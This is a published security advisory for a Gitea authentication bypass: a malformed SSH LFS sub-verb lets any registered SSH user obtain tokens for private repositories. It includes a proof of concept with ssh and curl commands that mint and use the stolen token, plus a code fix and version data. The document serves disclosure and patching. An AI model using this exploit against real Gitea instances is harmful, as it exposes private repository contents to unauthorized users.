GHSA-7WVC-RVP7-W99X
Vulnerability from github – Published: 2026-07-21 20:35 – Updated: 2026-07-21 20:35Summary
A flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.
Details
In cmd/serv.go, the getAccessMode function determines the required access level for SSH operations. For LFS verbs (git-lfs-authenticate, git-lfs-transfer), it switches on the sub-verb (upload/download). If the sub-verb is neither, execution falls through to:
setting.PanicInDevOrTesting("unknown verb: %s %s", verb, lfsVerb)
return perm.AccessModeNone
In production (IsProd=true), PanicInDevOrTesting only logs an error and does not panic. AccessModeNone (value 0) is then passed to ServCommand in routers/private/serv.go, where the permission check block at line ~322 evaluates:
if repoExist &&
(mode > perm.AccessModeRead ||
repo.IsPrivate ||
owner.Visibility.IsPrivate() ||
(user != nil && user.IsRestricted) ||
setting.Service.RequireSignInViewStrict) {
...
if userMode < mode { // userMode < 0 is always false
// deny access
}
}
For private repositories, repo.IsPrivate triggers the permission check block, but userMode < mode evaluates to userMode < 0, which is always false — access is granted regardless of the user's actual permissions.
The function then returns successfully, and runServ generates a valid LFS JWT token with Op: "badverb". On the HTTP LFS side (services/lfs/server.go:599), the Op field is only validated for write operations:
if mode == perm_model.AccessModeWrite && claims.Op != "upload" {
return nil, errors.New("invalid token claim")
}
Download operations do not check Op, so the attacker's token is accepted for all LFS read operations.
PoC
Prerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: admin (owns a private repo with LFS objects) and attacker (a regular user with an SSH key, no access to the private repo).
# 1. Verify attacker has NO access via normal LFS authenticate
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git download"
# Output: "User: attacker is not authorized to read admin/private-repo."
# 2. EXPLOIT: Use malformed sub-verb to bypass permission check
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb"
# Output: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/admin/private-repo.git/info/lfs"}
# 3. Use stolen token to request LFS object download
curl -X POST "https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch" \
-H "Content-Type: application/vnd.git-lfs+json" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Authorization: Bearer eyJ..." \
-d '{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}'
# Returns download URL with valid authorization header
# 4. Download private LFS content
curl -H "Authorization: Bearer eyJ..." \
"https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>"
# Returns the private LFS object content
Impact
Any user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from any private repository on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).
Suggested fix
Validate the LFS sub-verb before calling getAccessMode, or return an error instead of AccessModeNone for unknown verbs:
case git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:
switch lfsVerb {
case git.CmdSubVerbLfsUpload:
return perm.AccessModeWrite
case git.CmdSubVerbLfsDownload:
return perm.AccessModeRead
default:
return fail(ctx, "Unknown LFS verb", "Unknown LFS verb: %s", lfsVerb)
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "1.23.0"
},
{
"fixed": "1.26.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58423"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:35:09Z",
"nvd_published_at": "2026-07-03T21:17:05Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.\n\n### Details\n\nIn `cmd/serv.go`, the `getAccessMode` function determines the required access level for SSH operations. For LFS verbs (`git-lfs-authenticate`, `git-lfs-transfer`), it switches on the sub-verb (`upload`/`download`). If the sub-verb is neither, execution falls through to:\n\n```go\nsetting.PanicInDevOrTesting(\"unknown verb: %s %s\", verb, lfsVerb)\nreturn perm.AccessModeNone\n```\n\nIn production (`IsProd=true`), `PanicInDevOrTesting` only logs an error and does not panic. `AccessModeNone` (value `0`) is then passed to `ServCommand` in `routers/private/serv.go`, where the permission check block at line ~322 evaluates:\n\n```go\nif repoExist \u0026\u0026\n (mode \u003e perm.AccessModeRead ||\n repo.IsPrivate ||\n owner.Visibility.IsPrivate() ||\n (user != nil \u0026\u0026 user.IsRestricted) ||\n setting.Service.RequireSignInViewStrict) {\n ...\n if userMode \u003c mode { // userMode \u003c 0 is always false\n // deny access\n }\n}\n```\n\nFor private repositories, `repo.IsPrivate` triggers the permission check block, but `userMode \u003c mode` evaluates to `userMode \u003c 0`, which is always false \u2014 **access is granted regardless of the user\u0027s actual permissions**.\n\nThe function then returns successfully, and `runServ` generates a valid LFS JWT token with `Op: \"badverb\"`. On the HTTP LFS side (`services/lfs/server.go:599`), the `Op` field is only validated for write operations:\n\n```go\nif mode == perm_model.AccessModeWrite \u0026\u0026 claims.Op != \"upload\" {\n return nil, errors.New(\"invalid token claim\")\n}\n```\n\nDownload operations do not check `Op`, so the attacker\u0027s token is accepted for all LFS read operations.\n\n### PoC\n\nPrerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: `admin` (owns a private repo with LFS objects) and `attacker` (a regular user with an SSH key, **no access** to the private repo).\n\n```bash\n# 1. Verify attacker has NO access via normal LFS authenticate\nssh git@gitea-instance \"git-lfs-authenticate admin/private-repo.git download\"\n# Output: \"User: attacker is not authorized to read admin/private-repo.\"\n\n# 2. EXPLOIT: Use malformed sub-verb to bypass permission check\nssh git@gitea-instance \"git-lfs-authenticate admin/private-repo.git badverb\"\n# Output: {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"https://gitea-instance/admin/private-repo.git/info/lfs\"}\n\n# 3. Use stolen token to request LFS object download\ncurl -X POST \"https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch\" \\\n -H \"Content-Type: application/vnd.git-lfs+json\" \\\n -H \"Accept: application/vnd.git-lfs+json\" \\\n -H \"Authorization: Bearer eyJ...\" \\\n -d \u0027{\"operation\":\"download\",\"objects\":[{\"oid\":\"\u003cknown-oid\u003e\",\"size\":\u003csize\u003e}]}\u0027\n# Returns download URL with valid authorization header\n\n# 4. Download private LFS content\ncurl -H \"Authorization: Bearer eyJ...\" \\\n \"https://gitea-instance/admin/private-repo.git/info/lfs/objects/\u003coid\u003e\"\n# Returns the private LFS object content\n```\n\n### Impact\n\nAny user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from **any private repository** on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).\n\n### Suggested fix\n\nValidate the LFS sub-verb before calling `getAccessMode`, or return an error instead of `AccessModeNone` for unknown verbs:\n\n```go\ncase git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:\n switch lfsVerb {\n case git.CmdSubVerbLfsUpload:\n return perm.AccessModeWrite\n case git.CmdSubVerbLfsDownload:\n return perm.AccessModeRead\n default:\n return fail(ctx, \"Unknown LFS verb\", \"Unknown LFS verb: %s\", lfsVerb)\n }\n```",
"id": "GHSA-7wvc-rvp7-w99x",
"modified": "2026-07-21T20:35:10Z",
"published": "2026-07-21T20:35:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-7wvc-rvp7-w99x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58423"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38008"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/42513398c05ca6bdf71da76cb6f9baaebe8cb924"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/8f4b7ebbf6061bd44b1ab3824f17f37b87fb1740"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.